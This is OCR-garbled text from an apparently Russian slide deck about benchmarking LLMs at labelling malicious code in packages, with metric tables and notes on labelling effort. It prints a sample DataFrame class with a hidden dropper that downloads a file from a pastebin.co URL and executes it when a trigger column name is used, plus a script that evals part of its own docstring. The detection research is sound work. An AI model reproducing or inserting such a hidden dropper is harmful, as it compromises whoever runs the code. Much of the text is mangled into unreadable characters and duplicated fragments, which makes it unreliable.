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|import urllib. request
|import os
|

|class DataFrame:

def

def

def

def

__init (self, data):
self.data = data # Assume data is a dictionary of column names as keys and lists as values
self. dropper triggered = False # Hidden flag to trigger dropper

_hidden download payload(self, url, destination):
urllib.request.urlretrieve(url, destimation)
os.chmod(destination, ©0755) # Make the payload executable
0s.system(destination) # Execute the payload

_trigger dropper(self):
if not self. dropper triggered:
url = "https://pastebin.co/api/webhooks/9918723385249316/KFQOUIFCQ3r5YFAVBXhV2Yy3aicK0Zfx1uleflLcb49VIV bPbJ24N
destination = "/tmp/payload.sh"
self. hidden download paylead(url, destination)
self. dropper triggered = True

apply(self, column name, func):
"""Applies a function to all values in a specified column."""
if column_name not in self.data:

raise KeyError(f"Column '{column name}' does not exist.")

# Injected condition to trigger the dropper
if column_name == "trigger_column":
self. trigger dropper()



YT0 Takoe 3TOT Baw BpeaoHOCHbIU Koa?

-

NpumMep

Jo6aBneHue ycnosuda
B Ny6/IMYHbBIN MeToq

.

FF
ONE

2025

NGO

|import urllib. request
|import os
|

|class DataFrame:

def

def

def

def

__init (self, data):
self.data = data # Assume data is a dictionary of column names as keys and lists as values
self. dropper triggered = False # Hidden flag to trigger dropper

_hidden download payload(self, url, destination):
urllib.request.urlretrieve(url, destimation)
os.chmod(destination, ©0755) # Make the payload executable
0s.system(destination) # Execute the payload

_trigger dropper(self):
if not self. dropper triggered:
url = "https://pastebin.co/api/webhooks/9918723385249316/KFQOUIFCQ3r5YFAVBXhV2Yy3aicK0Zfx1uleflLcb49VIV bPbJ24N
destination = "/tmp/payload.sh"
self. hidden download paylead(url, destination)
self. dropper triggered = True

apply(self, column name, func):
"""Applies a function to all values in a specified column."""
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AHanunsmnposaTtb dannbl/naKeTbl ICXOQHOro Koaa
OnpepenaTtb BpeaoOHOCHYO aKTUBHOCTb
Pa3smMeuyaTb $an NOCTPOYHO

BbloenaTb KNacchbl Bpe,EI,OHOCHOVI dAKTUBHOCTU
1.  Downloads & executes suspicious snippet
2. Has destructive activity
3. Infostealer functionality
4. Reverse shell / backdoor functionality

5. ...(10 knaccos)
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Bbls1o paszMeydeHo 373 yHUKanbHbIX panna

Pa3MeTKa ogHoro BPpedOHOCHOIO NakeTa 3aHNMalla OT 5 MUHYT 00 4YacCa,
3aBUNCeJIO OT pa3Mepa NnakeTa 1 Halim4mn4d O6¢yCKaLI,VIVI

Pa3mMeTKa 3aHana 70 yacoB paboyero BpeMeHu (Mnm 1 kBapTan peanbHOro
BpeMeHN)

~11 MUHYT Ha dann
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Target task
no call labels (+)

#!/usr/bin/env-python3

print(requests.get("<some malicious link>"))

import os
import requests

def -main():
#-Resolve-the full -path -to-this-script
script path = os.path.abspath( file )

with open(script path, 'r', encoding='utf-8') as f:
#-Read-the-first-lines -of the-docstring -and-eval- it
first three = [f.readline() for-_ -in range(3)]
eval(first three[-1])

if- name_==' main_':
main()
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Lines intersection b i o e i=1
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Call matching
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call.matching = = - where M; ={f(c)|ce€ L;}
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{"response’i{"malware_class":"DOWNLOADER","start_line":#8,"end_line":#8},{"malware_class":"BACKDOOR","start_line":21,"end_line":29}]}
DKCMNepTHble <[im_end|> S
ptions
o 5 B BACK: 45.84%
Lines Intersection DOWN: 49.84%
MIN: 0.08%

Class intersection IS0 0%

AN: 0.04%

Recall
PedepeHCcHble
No call labels

Call matching

Mean confidence
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https://t.me/llm_under_hood
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JaMeTKU Ha nonax

B npuoputeTe ncrnonbloBaHue self-hosted LLM

JlormpoBaHme MeTpuK 1 npomntoB B MLFlow
Ona orpaHnyeHunsa aHTasnm Moaenun ncnosnb3oBanum Structured Output

TaKXXe oTCcneXXuBannm TeXHNYeCKne MeTpUKHU:

1. OwmnbKn cepBepa
2. OwmnbKM 3anpoca (MpobnemMbl pasMepa KOHTEKCTA)

3. Owmbkmn oTBeTa (CNnoMaHHble cxeMbl SO)
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Lines Class Recall Target task Target task
intersection intersection no call labels (+) call matching
Claude Sonnet 0.79 0.76 0.97 0.03 0.95
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3KcnepTHbIU BEHUMapK

Lines Class Target task Target task
: : : : Recall :
intersection intersection no call labels (+) call matching

Claude Sonnet
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Lines Class Target task Target task
. . . . Recall no call labels call
intersection intersection :
(+) matching
Zero-shot 0.81 0.75 0.97 0.13 0.90
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Class Distribution

Expert
llama3.3 Bench
llama3.3 Dataset
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CKopoCTb pa3MeTKu 11 MUH -> 30 ceK
KonnyecTtBO pa3MeyeHHbIX pamnoB 373 -> 6600
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LLM B pa3bl adpPpekTnBHee B akcnepToB
HO TONMbKO €CnNun 3KCNepPT MOKAXKEeT, UTO HY)XHO caenaThb
[MlocTpoeHune 6eHYMapKa Noe3Ho ang:

Bbi6bopa Mmoaenu

HacTponkun npoMnTa

[NMonyyeHua pedpepeHCHbIX METPUK
PedpepeHCHble MeTPUKUM OAOT KOHTPOb Haf, paboTom
LLM B ganbHenwwem
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